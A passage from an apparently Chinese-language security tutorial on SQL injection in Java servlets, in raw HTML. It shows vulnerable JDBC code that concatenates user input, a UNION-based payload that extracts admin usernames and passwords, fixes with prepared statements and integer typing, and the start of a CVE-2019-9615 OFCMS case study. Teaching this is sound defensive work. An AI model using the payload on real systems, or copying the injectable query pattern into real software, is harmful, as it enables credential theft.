183);">&#34;root&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;admin888&#34;</span>);<br/>                String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;select * from userinfo where id = &#34;</span> + id;<br/>                ps = conn.prepareStatement(sql);<br/>                <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//ps.setInt(1,id);</span><br/>                rs = ps.executeQuery();<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(rs.next()){<br/>                    userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> UserInfo();<br/>                    userinfo.setId(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;id&#34;</span>));<br/>                    userinfo.setName(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>));<br/>                    userinfo.setAge(rs.getInt(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;age&#34;</span>));<br/>                    userinfo.setContent(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;content&#34;</span>));<br/>                    userinfo.setAddress(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;address&#34;</span>));<br/>                }<br/>                ...<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> userinfo;<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以看到在 sql 语句中，存在着拼接的String类型变量<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">id</code>，且没有进行任何的过滤处理，直接带入执行。这也就导致了 SQL 注入，如下图，带入参数<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">and 1=1</code>：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2223756906077348" data-s="300,640" style="" data-type="png" data-w="1448" src="https://wechat2rss.xlab.app/img-proxy/?k=e8f477db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkYmErReZXial805GKJlmALRl8GYjg4dLl4pOWDghIMwahNEDYSOGTr1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">监视 MySQL 的执行记录，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3438675696012039" data-s="300,640" style="" data-type="png" data-w="2658" src="https://wechat2rss.xlab.app/img-proxy/?k=3e0563c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkN2OPOcodMb1SUepkkL2gcCnaqB16geLBSoDiaVWOM6rqo7CqxSDKJ8A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">完整的把我们带入的参数给传了进去。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">执行下述 payload 即可获取管理员的账号密码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">id=2 union <span style="box-sizing: border-box;color: rgb(204, 153, 204);">select</span> <span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>,<span style="box-sizing: border-box;color: rgb(249, 145, 87);">2</span>,<span style="box-sizing: border-box;color: rgb(249, 145, 87);">3</span>,<span style="box-sizing: border-box;color: rgb(204, 153, 204);">group_concat</span>(username),<span style="box-sizing: border-box;color: rgb(204, 153, 204);">group_concat</span>(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">password</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">from</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">admin</span><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">--</span></code></pre><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.16802800466744458" data-s="300,640" style="" data-type="png" data-w="1714" src="https://wechat2rss.xlab.app/img-proxy/?k=f70a817a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkZqVzNXKichzbb564cRJBWK99UxO5DZYmWgtLLgILlZqdPX2QtexScEA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">MySQL 执行记录如下：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.24397590361445784" data-s="300,640" style="" data-type="png" data-w="2656" src="https://wechat2rss.xlab.app/img-proxy/?k=3bce65c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYk28icGlia06l6JYOyMcQr6DiaR1hNygFUyOCknybbiaRTDgC6dxiaIndcJQw%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x03 修复方案</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">上述代码之所以造成 SQL 漏洞的原因，是程序将用户输入数据拼接到了 SQL 语句中，了解到这，所以修复方案也很清楚了。</p><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、使用预编译</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在Java的JDBC中，有个预处理功能，这个功能一大优势就是能提高执行速度，尤其是多次操作数据库的情况，再一个优势就是预防SQL注入，严格的说，应该是预防绝大多数的SQL注入。下方代码就是利用 java 的预编译来防止 SQL 注入：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> UserInfo <span style="box-sizing: border-box;color: rgb(181, 189, 104);">UserInfoFoundDao</span><span style="box-sizing: border-box;">(String id)</span></span>{<br/>            Connection conn = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            PreparedStatement ps = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            ResultSet rs = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            UserInfo userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span>{<br/>                Class.forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.mysql.cj.jdbc.Driver&#34;</span>);<br/>                conn = DriverManager.getConnection(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;jdbc:mysql://localhost:3306/sec_sql&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;root&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;admin888&#34;</span>);<br/>                String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;select * from userinfo where id = ？&#34;</span>;<br/>                ps = conn.prepareStatement(sql);<br/>        ps.setInt(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>,id);<br/>                rs = ps.executeQuery();<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(rs.next()){<br/>                    userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> UserInfo();<br/>                    userinfo.setId(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;id&#34;</span>));<br/>                    userinfo.setName(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>));<br/>                    userinfo.setAge(rs.getInt(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;age&#34;</span>));<br/>                    userinfo.setContent(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;content&#34;</span>));<br/>                    userinfo.setAddress(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;address&#34;</span>));<br/>                }<br/>                ...<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> userinfo;<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">需要注意的是，预编译不是绝对安全的，是要看所使用的具体的 SQL 语句的，例如下述代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> UserInfo <span style="box-sizing: border-box;color: rgb(181, 189, 104);">UserInfoFoundDao</span><span style="box-sizing: border-box;">(String id, String age)</span></span>{<br/>            Connection conn = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            PreparedStatement ps = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            ResultSet rs = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            UserInfo userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span>{<br/>                Class.forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.mysql.cj.jdbc.Driver&#34;</span>);<br/>                conn = DriverManager.getConnection(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;jdbc:mysql://localhost:3306/sec_sql&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;root&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;admin888&#34;</span>);<br/>                String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;select * from userinfo where id = ？&#34;</span>+<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;order by &#39;&#39;&#34;</span> + age + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#39; asc&#39;&#34;</span> ;<br/>                ps = conn.prepareStatement(sql);<br/>        ps.setInt(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>,id);<br/>                rs = ps.executeQuery();<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(rs.next()){<br/>                    userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> UserInfo();<br/>                    userinfo.setId(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;id&#34;</span>));<br/>                    userinfo.setName(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>));<br/>                    userinfo.setAge(rs.getInt(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;age&#34;</span>));<br/>                    userinfo.setContent(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;content&#34;</span>));<br/>                    userinfo.setAddress(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;address&#34;</span>));<br/>                }<br/>                ...<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> userinfo;<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">类似于上面代码中的 SQL 语句，order by 后面的语句，是不能够用预编译进行处理的，只能通过拼接进行操作，因此需要手动过滤。</p><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、修改数据类型</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">上述代码中，变量 id的数据类型是 string 型，而其实对于这个用户信息查询的功能来说，只需要一个整数型的数字即可，因此可以修改变量 id 的数据类型，来达到修复的目的：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> UserInfo <span style="box-sizing: border-box;color: rgb(181, 189, 104);">UserInfoFoundDao</span><span style="box-sizing: border-box;">(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> id)</span></span>{<br/>            Connection conn = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            PreparedStatement ps = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            ResultSet rs = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            UserInfo userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span>{<br/>                Class.forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.mysql.cj.jdbc.Driver&#34;</span>);<br/>                conn = DriverManager.getConnection(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;jdbc:mysql://localhost:3306/sec_sql&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;root&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;admin888&#34;</span>);<br/>                String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;select * from userinfo where id = &#34;</span> + id;<br/>                ps = conn.prepareStatement(sql);<br/>                rs = ps.executeQuery();<br/>                <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(rs.next()){<br/>                    userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> UserInfo();<br/>                    userinfo.setId(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;id&#34;</span>));<br/>                    userinfo.setName(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>));<br/>                    userinfo.setAge(rs.getInt(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;age&#34;</span>));<br/>                    userinfo.setContent(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;content&#34;</span>));<br/>                    userinfo.setAddress(rs.getString(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;address&#34;</span>));<br/>                }<br/>            ...<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> userinfo;<br/>        }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">当然，这种方法只限定于特定情况下，如果有的参数其数据类型必须为 String 那么这种方法是行不通的。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">以上，只是基于 java servlet上来解释 SQL 注入，但实际上在真实环境中，中间件框架使用占了绝大部分，但实际上原理基本类似，只是表面形式不同，如 Mybatis 框架中的 like、 in和 order by 语句、Hibernate 框架中的 createQuery()函数等，如果使用不当，依旧可能造成 sql 注入。</p><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x04 实际案例(CVE-2019-9615)分析</h2><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、案例介绍</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">CVE 地址：<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9615</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">OFCMS是基于Java技术的内容管理系统，在v1.1.3之前的OFCMS中发现了一个问题，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">admin / system / generate / create?sql =</code>路径可以进行SQL注入，与<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">SystemGenerateController.java</code>文件相关。</p><p><span name="menu_index_10" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、案例搭建</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先可以去官网下载 v1.1.2版本的 OFCMS：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://gitee.com/oufu/ofcms/releases" target="_blank">https://gitee.com/oufu/ofcms/releases</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后打开 idea，点击<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">import Project</code>，选择<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Import project from external model</code>中的 Maven</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6024291497975709" data-s="300,640" style="" data-type="png" data-w="2470" src="https://wechat2rss.xlab.app/img-proxy/?k=052976da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkEDstr4DTyscuZibj0PREP7cNiaNdtzJB5pPTHXiasiaJNam41ofxj1icia4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, 